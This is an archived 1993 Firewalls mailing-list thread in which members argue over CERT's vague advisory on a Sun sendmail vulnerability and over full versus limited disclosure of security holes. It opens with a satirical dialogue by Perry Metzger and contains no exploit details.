fiddling. Stuff like program mailers and so forth may not work properly if sendmail is not running as root. I consider this a plus. mjr. From Firewalls-Owner Sat Oct 23 17:18:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13434; Sat, 23 Oct 93 17:18:48 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13426; Sat, 23 Oct 93 10:18:37 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA04333; Sat, 23 Oct 93 13:21:55 -0400 Received: from kublai.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA17925; Sat, 23 Oct 93 13:21:53 EDT Received: from snark.lehman.com by kublai.lehman.com (4.1/SMI-4.1) id AA04619; Sat, 23 Oct 93 13:21:52 EDT Date: Sat, 23 Oct 93 13:21:52 EDT From: pmetzger@lehman.com (Perry E. Metzger) Message-Id: <9310231721.AA04619@kublai.lehman.com> Received: by snark.lehman.com (4.1/SMI-4.1) id AA03172; Sat, 23 Oct 93 13:21:52 EDT To: firewalls@greatcircle.com Cc: ji@tla.org, mab@crypto.com, smb@research.att.com Subject: A short dialogue Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk A one-act play Dramatis Personae: Perry Metzger (PM): an AVP responsible for the firewall at a Fortune 100 company. Joe Cert (JC): A person at CERT supposed to be helping. [The scene opens to Perry on the phone with Joe Cert. Perry is at work and freaking out because he doesn't run Sun sendmail and doesn't know what to do. If he turns off mail, his users will kill him. He has no idea how many machines he has to fix or if he has a problem at all.] PM: Well, I have the problem that I don't normally run Sun sendmail, and I can't run it, so I need to know enough that I can figure out how to fix my security problem. JC: Well, we don't have a proceedure to tell people anything beyond what we put in the advisory. PM: I run the gateway for a firm that trades hundreds of billions of dollars a day in the financial markets. We can't affort do get shut down. Isn't there any way you can tell me anything that can help me? JC: Well, we really don't have a proceedure in place. PM: I see. Can I ask you some questions? JC: Sure. PM: So this problem, would it be fixed if I had the Prog mailer turned off on my machines? JC: Well, its a problem that will allow people to run programs on your machine. PM: Yes, but would turning off the Prog mailer fix it? JC: Well, the problem allows people to run programs on your machine. PM: I see. Will this problem only hurt machines that have direct TCP access to the internet, or are machines that can get mail indirectly also possibly affected? JC: The hole is exploited by sending mail to the machine. PM: Yes, but do you need SMTP access to the machine, or will just being able to send mail to it hurt you? JC: Well, the hole is exploited by sending mail to the machine. PM: look, the machine on my firewall can't be telneted to. Does that make me safe? JC: Well, the hole is exploited by sending mail to the machine. PM: Listen, I have THREE THOUSAND workstations in a dozen cities on three continents. Are you telling me that I have to tell all my people that they are working the weekend installing a new sendmail on every machine in the firm? I don't even know how to test to see if I've fixed the problem once I've done that! JC: Well, the whole is exploited by sending mail to the machine. PM: Can't you tell me any details? JC: We really don't have a proceedure for that. PM: Do you know what the problem is? JC: I can reproduce it, yes. PM: Look, I work for a company with REAL MONEY on the line here. I can get you a letter from a managing director telling you that I'm legit. You can check who we are in any newspaper -- we're one of the largest investment banks in the world. Every day the Wall Street Journal lists the Lehman Brothers T-Bond Index on page C-1. You can check my criminal record -- hell, the SEC makes you get fingerprinted so many times around here that I've still got ink on my fingers from the last time. Can't you give me some help here? JC: We really don't have a proceedure for doing that. I'm taking notes, though, and I'll tell my management of your concerns. [He continues in this vein, but eventually, our hero gives up, realizing that CERT is part of the problem, not the solution. All they've succeeded in doing is keeping him up at night. He can't fix his problem, since he doesn't know how. He has no idea if he has a problem. He can't check once he's done something to determine if he's fixed it. All he knows is that CERT has no proceedure for telling him anything regardless of who he is, period.] PM: So what you are telling me is that if I want details I have to subscribe to 2600 Magazine? JC: We don't have a proceedure for giving you more information, no. PM: I'm sure the crackers will be happy to hear that. They are likely telling each other at a nice high speed. -- Perry Metzger From Firewalls-Owner Sat Oct 23 17:46:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13496; Sat, 23 Oct 93 17:46:43 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13485; Sat, 23 Oct 93 10:46:29 PDT Message-Id: <9310231746.AA13485@mycroft.GreatCircle.COM> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com, ji@tla.org, mab@crypto.com, smb@research.att.com Subject: Re: A short dialogue In-Reply-To: Your message of Sat, 23 Oct 93 13:21:52 EDT Date: Sat, 23 Oct 1993 10:46:28 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk pmetzger@lehman.com (Perry E. Metzger) writes: # [He continues in this vein, but eventually, our hero gives up, # realizing that CERT is part of the problem, not the solution. All # they've succeeded in doing is keeping him up at night. He can't fix # his problem, since he doesn't know how. He has no idea if he has a # problem. He can't check once he's done something to determine if he's # fixed it. All he knows is that CERT has no proceedure for telling him # anything regardless of who he is, period.] No, Perry, they may not part of YOUR solution for THIS particular problem, but CERT definitely provides an invaluable service. Consider this: without the recent CERT advisory, would you have even guessed that you _might_ have a problem? Hell, no, you would have wandered blindly on, secure in the belief that "everything is OK". Now, because of the CERT announcement, at least you know there _may_ be a problem with your configuration, and you can work on finding out more information about the problem and finding a solution. What you're saying is, in effect, "If they won't tell me all the details, I'd rather they'd never told me about the possible problem in the first place". Do you _really_ mean that? I hope not. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Sat Oct 23 17:56:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13648; Sat, 23 Oct 93 17:56:16 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13636; Sat, 23 Oct 93 10:55:49 PDT Received: by terminus.cs.umb.edu id AA02156 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Sat, 23 Oct 1993 13:59:20 -0400 Date: Sat, 23 Oct 1993 13:59:20 -0400 From: "John B. Brown" Message-Id: <199310231759.AA02156@terminus.cs.umb.edu> To: firewalls@greatcircle.com, pmetzger@lehman.com Subject: Re: A short dialogue Cc: ji@tla.org, mab@crypto.com, smb@research.att.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > A one-act play > Dramatis Personae: > Perry Metzger (PM): an AVP responsible for the firewall at a > Fortune 100 company. > Joe Cert (JC): A person at CERT supposed to be helping. > [The scene opens to Perry on the phone with Joe Cert. Perry is at work > and freaking out because he doesn't run Sun sendmail and doesn't know < ...snip... > > JC: We don't have a proceedure for giving you more information, no. > PM: I'm sure the crackers will be happy to hear that. They are likely > telling each other at a nice high speed. > -- > Perry Metzger Come on, Perry. You know NSA is the father of CERT. CERT acts the way it does because it is the offspring of NSA. Get real. Those guys are simply doing their job; collecting intelligence. They once operated out of dockmaster. Does that give you the clue? Shalom, JBB. From Firewalls-Owner Sat Oct 23 17:59:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13677; Sat, 23 Oct 93 17:59:27 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13667; Sat, 23 Oct 93 10:59:02 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA04539; Sat, 23 Oct 93 14:02:52 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA18551; Sat, 23 Oct 93 14:02:50 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA03209; Sat, 23 Oct 93 14:02:49 EDT Message-Id: <9310231802.AA03209@snark.lehman.com> To: Brent Chapman Cc: firewalls@greatcircle.com, ji@tla.org, mab@crypto.com, smb@research.att.com Subject: Re: A short dialogue In-Reply-To: Your message of "Sat, 23 Oct 1993 10:46:28 PDT." <9310231746.AA13485@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Sat, 23 Oct 1993 14:02:49 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brent Chapman says: > pmetzger@lehman.com (Perry E. Metzger) writes: > > # [He continues in this vein, but eventually, our hero gives up, > # realizing that CERT is part of the problem, not the solution. All > # they've succeeded in doing is keeping him up at night. He can't fix > # his problem, since he doesn't know how. He has no idea if he has a > # problem. He can't check once he's done something to determine if he's > # fixed it. All he knows is that CERT has no proceedure for telling him > # anything regardless of who he is, period.] > > No, Perry, they may not part of YOUR solution for THIS particular > problem, but CERT definitely provides an invaluable service. > > Consider this: without the recent CERT advisory, would you have even > guessed that you _might_ have a problem? Yes. In the days before CERT, these problems, with detailed solutions, were passed around on the unix security mailing lists. We didn't believe in "security through obscurity" back then -- people would tell each other exactly what was wrong and you had a chance to fix things. CERT, by being there, has effectively caused those lists to die, and has acted to make the situation more, not less dangerous. The question is not one of "do you want to be alerted or not" but of "what sort of mechanism would you like to be alerted with". Being treated as a peer might be nice. I know there is a fundamental conflict between letting everyone know and not wanting to let the bad guys know, but when someone who has literally billions riding on the answers cant get answers something is fundamentally wrong. For all the help they gave me, CERT might as well have said "There is a problem in Unix. Please have it fixed." I got no worthwhile information out of them. I don't know if this problem is only with my firewall or with the inside machines. I don't know if it requires a TCP connection. I don't know if disabling the prog mailer can fix it. I don't know how to test for it. I'd say that this is inferior to the way things used to work. > What you're saying is, in effect, "If they won't tell me all the > details, I'd rather they'd never told me about the possible problem in > the first place". Do you _really_ mean that? I hope not. Not what I meant, and not what we would have been dealing with. Perry From Firewalls-Owner Sat Oct 23 18:04:08 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13735; Sat, 23 Oct 93 18:04:08 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13721; Sat, 23 Oct 93 11:03:34 PDT Message-Id: <9310231803.AA13721@mycroft.GreatCircle.COM> To: "John B. Brown" Cc: firewalls@greatcircle.com, pmetzger@lehman.com, ji@tla.org, mab@crypto.com, smb@research.att.com Subject: Re: A short dialogue In-Reply-To: Your message of Sat, 23 Oct 1993 13:59:20 -0400 Date: Sat, 23 Oct 1993 11:03:32 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "John B. Brown" writes: # Come on, Perry. You know NSA is the father of CERT. CERT acts # the way it does because it is the offspring of NSA. Get real. Those # guys are simply doing their job; collecting intelligence. # # They once operated out of dockmaster. Does that give you the # clue? We're wandering a little far afiled into the conspiracy theories here, but... Are you sure? As far as I recall, CERT started out as, part of the Software Engineering Institute at Carnegie-Mellon University. Certainly much of their initial funding came from the Department of Defense, but that's true for most of the Internet. As far as I'm aware, CERT has never had any particular relationship with the NSA. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Sat Oct 23 11:40:27 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13778; Sat, 23 Oct 93 18:13:01 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA13769; Sat, 23 Oct 93 11:12:45 PDT Message-Id: <9310231812.AA13769@mycroft.GreatCircle.COM> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: A short dialogue In-Reply-To: Your message of Sat, 23 Oct 1993 14:02:49 -0400 Date: Sat, 23 Oct 1993 11:12:44 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "Perry E. Metzger" writes: # Brent Chapman says: # > No, Perry, they may not part of YOUR solution for THIS particular # > problem, but CERT definitely provides an invaluable service. # > # > Consider this: without the recent CERT advisory, would you have even # > guessed that you _might_ have a problem? # # Yes. In the days before CERT, these problems, with detailed solutions, # were passed around on the unix security mailing lists. We didn't # believe in "security through obscurity" back then -- people would tell # each other exactly what was wrong and you had a chance to fix things. # # CERT, by being there, has effectively caused those lists to die, and # has acted to make the situation more, not less dangerous. The question # is not one of "do you want to be alerted or not" but of "what sort of # mechanism would you like to be alerted with". Being treated as a peer # might be nice. I don't know you. Why should I treat you as a peer? As far as _I_ know, all you've done is throw your weight about how much money your company has and how important that makes you. The lists functioned the way they did "in the old days" because most of the people on the lists knew each other. Everybody didn't know everybody, but any given person on such a list probably knew a significant fraction of the other people on the list. That's just not the way it is any more. I probably know more people on the Firewalls list than just about anybody else (maybe Ches or Marcus know more than I do), and yet I don't know more than 5% or so. # I know there is a fundamental conflict between letting everyone know # and not wanting to let the bad guys know, but when someone who has # literally billions riding on the answers cant get answers something is # fundamentally wrong. Have you stopped to consider that maybe what's wrong is that your site, with your security concerns, shouldn't be on the Internet in the first place? You've apparently got this rose-colored image of how things "used to be", and how things "ought to be", that just doesn't match reality. # For all the help they gave me, CERT might as well have said "There is # a problem in Unix. Please have it fixed." I got no worthwhile # information out of them. I don't know if this problem is only with my # firewall or with the inside machines. I don't know if it requires a # TCP connection. I don't know if disabling the prog mailer can fix it. # I don't know how to test for it. I'd say that this is inferior to the # way things used to work. And I'd say there's no way "the way things used to work" will function any more in today's Internet, because of the explosive growth the Internet has undergone in the last few years. # > What you're saying is, in effect, "If they won't tell me all the # > details, I'd rather they'd never told me about the possible problem in # > the first place". Do you _really_ mean that? I hope not. # # Not what I meant, and not what we would have been dealing with. "WOULD HAVE BEEN"... Quit living in the past, Perry; the world ain't the same as it used to be. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Sat Oct 23 19:03:00 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16409; Sat, 23 Oct 93 19:03:00 GMT Received: from hosaka.Smallworks.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16401; Sat, 23 Oct 93 12:02:50 PDT Received: by hosaka.Smallworks.COM (4.1/SMI-4.1) id AA05236; Sat, 23 Oct 93 14:06:37 CDT Date: Sat, 23 Oct 93 14:06:37 CDT From: charisse@SmallWorks.COM (Charisse Castagnoli) Message-Id: <9310231906.AA05236@hosaka.Smallworks.COM> To: firewalls@GreatCircle.com Subject: re: perry's gripe about CERT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Having been in the high level (B1+ for you orange book fans) and now firewall and audit analysis UNIX security market for over 4 years, I agree with Perry that teaser information is NOT valuable. Without cooperative efforts by many UNIX vendors posting problems we never would have figured out how to secure the X protocol or the TCP/IP protocol to support multilevel operations. If there is not cooperation amoung the community spreading information to those who need to know or have a desire to know and are working on solutions, problems don't get solved. Furthermore, it is ludicrous for an organization to present itself as an advisory body and not provide advice. We wouldn't be very happy with our weather warning systems if they merely told us that a hurricane was coming - sometime - without giving advice regarding whether to evacate or not. Charisse Castagnoli Smallworks of Travis Co. charisse@smallworks.com 512 338 0619 From Firewalls-Owner Sat Oct 23 12:10:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16193; Sat, 23 Oct 93 18:50:31 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16183; Sat, 23 Oct 93 11:50:16 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA04801; Sat, 23 Oct 93 14:54:05 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA19239; Sat, 23 Oct 93 14:54:04 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA03270; Sat, 23 Oct 93 14:54:01 EDT Message-Id: <9310231854.AA03270@snark.lehman.com> To: Brent Chapman Cc: firewalls@greatcircle.com Subject: Re: A short dialogue In-Reply-To: Your message of "Sat, 23 Oct 1993 11:12:44 PDT." <9310231812.AA13769@mycroft.GreatCircle.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Sat, 23 Oct 1993 14:54:00 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brent Chapman says: > "Perry E. Metzger" writes: > > # CERT, by being there, has effectively caused those lists to die, and > # has acted to make the situation more, not less dangerous. The question > # is not one of "do you want to be alerted or not" but of "what sort of > # mechanism would you like to be alerted with". Being treated as a peer > # might be nice. > > I don't know you. Why should I treat you as a peer? > > As far as _I_ know, all you've done is throw your weight about how > much money your company has and how important that makes you. Resources are easily available to verify credentials. I can very easily prove that I am who I say I am, and that my company is who they say they are. You can prove it, too. Its not hard. If you want to further make sure that I'm not someone impersonating Perry Metzger, you can call up Information in NYC, get the number for American Express's corporate headquarters (we are a division of Amex -- there may be a seperate listing for us, but the same switchboard is used so it makes no difference), and ask them for me. > The lists functioned the way they did "in the old days" because most > of the people on the lists knew each other. Everybody didn't know > everybody, but any given person on such a list probably knew a > significant fraction of the other people on the list. > > That's just not the way it is any more. Fine. If we are going to replace the Old Way with the "New Way" thats supposedly an improvement, CERT could go through the trouble of making sure that people who need the information can get it. If that is not the case, they can give you enough information that you could make some minor judgements -- telling us if the vulnerability will hurt machines inside a firewall isn't going to help crackers but it will help the good guys. They won't even say that much. Frankly, I almost wish that they posted full information -- I'd rather have to rush than to spend three days not knowing what to do. I still don't know what to do, and believe me I've tried. > # I know there is a fundamental conflict between letting everyone know > # and not wanting to let the bad guys know, but when someone who has > # literally billions riding on the answers cant get answers something is > # fundamentally wrong. > > Have you stopped to consider that maybe what's wrong is that your > site, with your security concerns, shouldn't be on the Internet in the > first place? Yes, we have to be on the internet. We have developers who need to get support from vendors. We have developers who need new versions of tools or their productivity is going to be shot. Etc, etc. We aren't the only firm on Wall Street thats made this decision -- Goldman Sachs, a firm that literally moves the market when they trade in foreign exchange or the oil markets, is on the net, as is Solomon(sp? I'm tired) Brothers, Morgan Stanley, etc. We also deliver information to several of our clients, who I cannot name, over private internet connections to them, and they are on the net. Not being on the net is like not owning a phone these days. You can't do it. Hell, we are upgrading to a T1 soon because of our traffic levels. We are also large enough that we have internal security concerns. We operate on three continents in lots and lots of cities. We are almost big enough to have to worry about internal attacks and internal firewalls -- but I suppose you will tell me to shut of my internal internet. Without our internal internet, of course, we could no longer function for an hour. Perry From Firewalls-Owner Sat Oct 23 19:23:54 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16539; Sat, 23 Oct 93 19:23:54 GMT Received: from sicmail.epfl.ch by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16531; Sat, 23 Oct 93 12:23:44 PDT Received: from disuns2.epfl.ch by sicmail.epfl.ch with SMTP (PP) id <03655-0@sicmail.epfl.ch>; Sat, 23 Oct 1993 20:27:33 +0100 Received: from disun47.epfl.ch by di.epfl.ch (4.1/Epfl-4.4-s/MX) id AA08475; Sat, 23 Oct 93 20:27:31 +0100 From: Karim.Saouli@di.epfl.ch (Karim Saouli) Message-Id: <9310231927.AA08475@di.epfl.ch> Subject: Re: A short dialogue To: firewalls@GreatCircle.COM Date: Sat, 23 Oct 1993 20:27:30 +0100 (MET) X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Length: 2385 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hello, I try to be clear and summarize what has been siad up to now: 1- CERT is not felt like a legitimate security coordinator. 2- CERT advisories are most unclear. 3- A lot of peoples do not know what CERT is and where it comes from. Well, what can be said? The first point is clear I think, as we see how CERT does broadcast its informations, and how it selects its correspondants. It is certain that it is doing some sort of security by obscurity. Thereby the reports that CERT do provide are vague, not explicit, and give the feeling that system administrators are peoples, who should not know what it is all about beeing the holes that are described, I think that most of us do hold a degree in engineering, or have sufficiant know- ledge to understand what the problem is all about, an explicit warning with a technical explanation and clear details about the weakness would save for all of us thousands of hour of work. (I hope that sometimes the CERT will listen to those comments eventhough it is hard to broadcast on the usenet news system and for system managers the kind of informations ). The third point has been explained by somone earlier on. I guess it is clear that this NSA paranoia is exagerated, of course CERT can interst an orga- nisation like NSA, but get real! Don't they have enough means to do as much or even more then CERT??? I don't think that sort of discussion belongs to this list, however I do think it has to be said (alt.security???). I have a question that is more regarding policy about firewalls in academical institutions, my system adminsitration group is submitted to a professor board for decisions, I would liek to know if the decision to put a firewall has to be decided by them? (I know it is pretty naiv, btu actually it is my problem) Regards -- K. Saouli -- Karim Saouli Math Department of the System administrator Swiss Fed. Inst. of Tech (ETHZ) > Room: HG G 14.2 > S-Mail: HG G 14.2 Email: saouli@math.ethz.ch > ETH Zentrum Phone: ++41-1-632-2230 > CH-8092 Zurich FAX : ++41-1-252-3401 > > > ------------------------------ End of forwarded message 1 > From Firewalls-Owner Sat Oct 23 19:34:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16576; Sat, 23 Oct 93 19:34:13 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16568; Sat, 23 Oct 93 12:34:05 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA04990; Sat, 23 Oct 93 15:37:45 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA19512; Sat, 23 Oct 93 15:37:44 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA03342; Sat, 23 Oct 93 15:37:43 EDT Message-Id: <9310231937.AA03342@snark.lehman.com> To: charisse@smallworks.com (Charisse Castagnoli) Cc: firewalls@greatcircle.com Subject: Re: perry's gripe about CERT In-Reply-To: Your message of "Sat, 23 Oct 1993 14:06:37 CDT." <9310231906.AA05236@hosaka.Smallworks.COM> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Sat, 23 Oct 1993 15:37:43 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Charisse Castagnoli says: > Furthermore, it is ludicrous for an organization > to present itself as an advisory body and not provide advice. > We wouldn't be very happy with our weather warning systems if they > merely told us that a hurricane was coming - sometime - without giving > advice regarding whether to evacate or not. Worse than that, lets say they tell you a hurricane is coming, but don't tell you from where? Lets say that what you guess is a better location is a worse location? I have just enough information to know I have to worry, but I have insufficient information to do anything but worry. Frankly, I'm starting to think that I would have been better off ignorant -- they I could have slept peacefully. Functionally, I'm in no different a situation than I was 48 hours ago. Perry From Firewalls-Owner Sat Oct 23 19:52:41 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16700; Sat, 23 Oct 93 19:52:41 GMT Received: from Sun.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16689; Sat, 23 Oct 93 12:52:31 PDT Received: from Corp.Sun.COM (lemay.Corp.Sun.COM) by Sun.COM (4.1/SMI-4.1) id AA19548; Sat, 23 Oct 93 12:56:11 PDT Received: from death.corp.sun.com by Corp.Sun.COM (4.1/elliemay (corpmail1 inbound)) id AA28614; Sat, 23 Oct 93 12:56:11 PDT Received: by death.corp.sun.com (4.1/SMI-4.1) id AA18905; Sat, 23 Oct 93 12:56:10 PDT Message-Id: <9310231956.AA18905@death.corp.sun.com> From: Dan.Farmer@Corp.Sun.COM Date: Sat, 23 Oct 1993 12:56:09 -0700 In-Reply-To: Brent Chapman "Re: A short dialogue" (Oct 23, 11:12) X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: Brent Chapman , pmetzger@lehman.com Subject: Re: A short dialogue Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > # I know there is a fundamental conflict between letting everyone know > # and not wanting to let the bad guys know, but when someone who has > # literally billions riding on the answers cant get answers something is > # fundamentally wrong. > Have you stopped to consider that maybe what's wrong is that your > site, with your security concerns, shouldn't be on the Internet in the > first place? You've apparently got this rose-colored image of how > things "used to be", and how things "ought to be", that just doesn't > match reality. Perhaps you should examine CERT and your solution, instead of trying to merely assert that he's wrong. Tell us *why* the current situation is better than the old. I think you're right about the mailing lists of old; they wouldn't work today. The problem is that they didn't work then, either. People didn't get the answers they needed, and the black hats still got their info (how many times did people ask me to be put on the zardoz list and how many times did system crackers show me stuff that they had gotten straight from the list....) IMO, the current situation is rediculous, even from a vendor standpoint. CERT will *NOT* give sun (or anyone else, as far as I know, and I have asked for stuff repeatedly, unless they've recently changed their stance on this issue) information on bugs unless they are certain that they know that it affects a sun. That's rediculous -- *most* unix bugs affect more than one OS. The BSD people didn't know if sendmail was fucked by the latest bug until I sent it to eric allman this morning. Why didn't CERT do this? I'll be sending it to HP soon (as soon as I figure out who the bug person is over there) -- why do I have to do this? Has CERT talked to any other vendors about this? Why didn't CERT tell us/me about the convex login bug, or the HP NIS bug, or any of the other unix security bugs that they've had advisories out on recently? They certainly don't know as much about sunos than we do, but they set themeselves up as information czars that won't hand anything out unless *they* deem it proper. I would think most people wouldn't mind them giving stuff to us, but heck, what do I know? I have to go out and beg people to send us information when I see them post some security problem to the net. Sometimes they'll send it to me, sometimes they say that CERT will take care of all of that. Right before I left CERT, I was starting to send all the bug reports that had any chance of affecting multiple vendors to all of my contacts at the vendors that I knew at the time (I was the vulnerabilities/bugs guy). I don't know why they don't try to do this now. > And I'd say there's no way "the way things used to work" will function > any more in today's Internet, because of the explosive growth the > Internet has undergone in the last few years. Yep. Perhaps people might try sharing more information than they have in the past, and find out if it works. -- d From Firewalls-Owner Sat Oct 23 19:59:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16727; Sat, 23 Oct 93 19:59:52 GMT Received: from sparkyfs.erg.sri.com ([128.18.110.39]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16719; Sat, 23 Oct 93 12:59:44 PDT Received: from localhost.erg.sri.com by sparkyfs.erg.sri.com (5.65/2.7davy) id AA00812; Sat, 23 Oct 93 13:03:22 -0700 Message-Id: <9310232003.AA00812@sparkyfs.erg.sri.com> To: pmetzger@lehman.com Cc: firewalls@greatcircle.com Subject: Re: A short dialogue In-Reply-To: Your message of Sat, 23 Oct 93 14:54:00 -0400. <9310231854.AA03270@snark.lehman.com> Date: Sat, 23 Oct 93 13:03:21 -0700 From: Bryan McDonald Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Resources are not easily available to verify who someone is on a list of thousands of email addresses all over the word. I can call AMEX and maybe verify you. What about FooBar Consulting in New Mexico? I call the number they give me, or I call information and call that number, what do I know about the other end of the line? Nothing. For all I know, Robert Redford is at the other end of the line spoofing me. So, because we can verify you but not everyone else, we should hang out the little sites and companies that may not have the resources to drop everything and find this hole right away for the sake of the big companies that can do so? I think not. That would be like forcing everyone on the freeways to drive at 150 MPH because you have a ferrari...the people driving a Dodge Dart would be in a lot of danger. If your company is so big, and security is so paramount, then form your own CERT for your company and then legitimize yourself with other CERT like organizations (perhaps through the FIRST committee) and lobby that organization to start up an encrypted mailing list of CERT's so that the people with the resources can get everything they want without frying everyone else. An organization of CERT's is well suited to deal with the price of encryption and the problems of maintaining a secured mailing list that a lot of small companies are not suited to do. CERT itself is probably not funded for that sort of a thing, and has no reason to want to since the service they provide now is a freebee to most of the net. Of course, you could petition Congress, but I think that would be a mite bit difficult right now. >I have just enough information to know I have to worry, but I have >insufficient information to do anything but worry. Frankly, I'm >starting to think that I would have been better off ignorant -- they I >could have slept peacefully. Functionally, I'm in no different a >situation than I was 48 hours ago. > >Perry If you could sleep peacefully 48 hours ago, but this one bug makes you restless, then maybe you should think about the fact that this bug was around a long time before someone spotted it and reported it...how many more do you think are out there un-reported? This is not an absolute game, we cannot secure our sites completely without air-gapping them and surrounding them with an army and electronic shielding..and not completely even then. I loose sleep because my kid is screaming all night, but loose none each time another hole is found. If I did, I wouldn't sleep at all. Bryan ps. you could unsubscribe from the CERT mailing lists...then you wouldn't have to know. From Firewalls-Owner Sat Oct 23 20:32:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16818; Sat, 23 Oct 93 20:32:16 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA16810; Sat, 23 Oct 93 13:32:02 PDT Received: from [192.9.140.112] by lehman.com (5.67/LB 0.1) id AA05231; Sat, 23 Oct 93 16:35:47 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA19988; Sat, 23 Oct 93 16:35:44 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA03410; Sat, 23 Oct 93 16:35:43 EDT Message-Id: <9310232035.AA03410@snark.lehman.com> To: firewalls@greatcircle.com Subject: Re: A short dialogue In-Reply-To: Your message of "Sat, 23 Oct 1993 13:03:21 PDT." <9310232003.AA00812@sparkyfs.erg.sri.com> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Sat, 23 Oct 1993 16:35:42 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bryan McDonald says: > > Resources are not easily available to verify who someone is on a list > of thousands of email addresses all over the word. I can call AMEX and maybe > verify you. What about FooBar Consulting in New Mexico? Fine. Maybe they decide if they have no real hint on who they are dealing with they won't talk. However, the guy who handles the firewall for a giant company isn't someone they can't get information for. I could understand it if they said "we don't know who you are" but they said, instead of that, "We don't tell ANYONE." This is hardly reasonable. They should be able to tell at least some people. Beyond that, the information they gave out was far far less than they could be reasonably expected to divulge. Does the bug hurt all versions of sendmail, for example? Can it hurt machines inside a firewall? Can it be stopped by disabling the prog mailer? These things would be easy to tell us. > So, because we can verify you but not everyone else, we should hang out > the little sites and companies that may not have the resources to drop > everything and find this hole right away for the sake of > the big companies that can do so? I think 